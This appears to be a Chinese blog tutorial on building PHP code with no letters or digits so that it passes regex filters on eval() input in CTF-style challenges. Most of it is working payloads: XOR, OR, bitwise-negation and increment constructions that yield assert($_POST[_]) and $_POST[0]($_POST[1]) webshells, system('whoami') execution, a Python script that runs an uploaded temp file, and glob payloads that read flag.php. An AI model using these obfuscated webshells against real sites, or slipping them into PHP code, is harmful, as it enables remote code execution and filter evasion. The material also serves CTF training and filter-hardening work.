php无字母数字构造入门

1 前置知识

1.1 php中的正则匹配函数

最常见的preg_grep()

preg_grep(string $pattern, array $array, int $flags = 0): array|false

返回给定数组array中与模式pattern 匹配的元素组成的数组

其余的正则函数可以在https://www.runoob.com/php/php-pcre.html里学习

1.2 正则匹配式

正则表达式手册:https://tool.oschina.net/uploads/apidocs/jquery/regexp.html

https://www.runoob.com/regexp/regexp-tutorial.html

动态调试正则表达式的网站:https://regex101.com/

中文在线调试:https://c.runoob.com/front-end/854/

尝试阅读几个正则表达式:

/^[a-z0-9_-]{3,16}$/		用来过滤用户名

/^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/		匹配ip地址

/^[a-z\d]+(\.[a-z\d]+)*@([\da-z](-[\da-z])?)+(\.{1,2}[a-z]+)+$/电子邮箱

1.3 php中的位运算

在构造字符绕正则的时候,我们常用位运算符来帮助我们构造

php位运算符:https://blog.csdn.net/qq_28602957/article/details/52141431

2 无字母数字构造

2.1 无字母数字基础

<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
  eval($_GET['shell']);
}

php5

修饰符i,s:https://www.runoob.com/regexp/regexp-flags.html

异或拼接:

(来自p牛博客

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

(很多不可打印字符,用url编码表示)

异或:

("%0b%08%0b%09%0e%06%0f"^"%7b%60%7b%60%60%60%60")();

这样可以phpinfo

倘若过滤了引号:

${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=phpinfo

%86%86%86%86^%d9%c1%c3%d2构造出_GET,php中可以这样构造参数,花括号在数组中可以索引:

$_GET{2}

一个非数字字母的php后门(使用异或):

// demo1.php
<?php
    @$_++; // $_ = 1
    $__=("#"^"|"); // $__ = _
    $__.=("."^"~"); // _P
    $__.=("/"^"`"); // _PO
    $__.=("|"^"/"); // _POS
    $__.=("{"^"/"); // _POST 
    ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

拼接_POST:

$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");

更短的字符:

"`{{{"^"?<>/" //_GET
"#./|{"^"|~`//" //_POST

或:

("%10%08%10%09%0e%06%0f"|"%60%60%60%60%60%60%60")();

这样可以phpinfo

("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%17%08%0f%01%0d%09"|"%60%60%60%60%60%60");

system(‘whoami’); 可以rce

取反:

(~%8F%97%8F%96%91%99%90)();

可phpinfo

utf-8下取中文字符取反:

UTF-8编码的某个汉字,并将其中某个字符取出来,比如’和’{2}的结果是"\x8c",其取反即为字母s

<?php
$_="和";
print(~($_{2}));
print(~"\x8c");
?>

脚本生成:

>>> def get(shell):
...     hexbit=''.join(map(lambda x: hex(~(-(256-ord(x)))),shell))
...     print(hexbit)
...
>>> get('phpinfo')
0x8f0x970x8f0x960x910x990x90

自增:

‘a’++ => ‘b’,‘b’++ => ‘c’… 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。

文档:http://php.net/manual/zh/language.operators.increment.php

如何拿到一个值为字符串’a’的变量呢?

数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。

在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array:

<?php
echo ''.[];//Array

构造:ASSERT($_POST[_]);

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
//测试发现7.0.12以上版本不可使用
//使用时需要url编码下
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
固定格式 构造出来的 assert($_POST[_]);
然后post传入   _=phpinfo();

不用数字构造数字:

echo ('>'>'<')+('>'>'<');//2
echo true+true;//2

或者:

<?php
$_++;
print($_); // 1
?>
php中未定义的变量默认值为null,nullfalse0

2.2 长度限制

<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}

php7:

PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过(‘phpinfo’)();来执行函数,第一个括号中可以是任意PHP表达式。

(~%8F%97%8F%96%91%99%90)();

php5:

上传临时文件:

import requests
url="http://xxx/test.php?code=?><?=`. /???/????????[@-[]`;?>"
files={'file':'cat f*'}
response=requests.post(url,files=files)
html = response.text
print(html)

具体原理看p神文章可了解详细

glob通配符:https://man7.org/linux/man-pages/man7/glob.7.html

2.3 过滤下划线

<?php

include 'flag.php';

if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>50){
        die("Too Long.");
    }
    if(preg_match("/[A-Za-z0-9_]+/",$code)){
        die("Not Allowed.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>

异或:

?code=('$').("`{{{"^"?<>/").(['+'])&+=getFlag();

这样是错误的,因为eval只能解析一遍代码,而此时中间的拼接就会成为第一遍解析的运算

正确的payload为:

?code=${"`{{{"^"?<>/"}['+']();&+=getFlag

这里利用了**${}**中的代码是可以执行的特点,其实也就是可变变量。

示例:

<?php
    $a = 'hello';
    $$a = 'world';
    echo "$a ${$a}";
?>
    
    >>hello world

取反:

?code=%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B&%aa=getFlag

其中24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B = ${~"\xa0\xb8\xba\xab"} = $_GET

~在{}中执行了取反操作

2.4 过滤$字符

<?php 
include 'flag.php';
if(isset($_GET['code']))
{
    $code=$_GET['code'];
    if(strlen($code)>35){
    die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code))
    {
        die("NO.");
    }
    @eval($code);
}
else
{
    highlight_file(__FILE__);
}
//$hint="php function getFlag() to get flag";
?>

payload:

code=?><?=`/???/??? ????.???`?>

/???/???通配``/bin/cat,???.???通配flag.php`

参考:

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

https://ca01h.top/Web_security/php_related/8.PHP%E6%97%A0%E6%95%B0%E5%AD%97%E5%AD%97%E6%AF%8D%E6%9E%84%E9%80%A0webshell/

https://blog.csdn.net/miuzzx/article/details/109143413
https://blog.csdn.net/qq_45521281/article/details/105656936

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值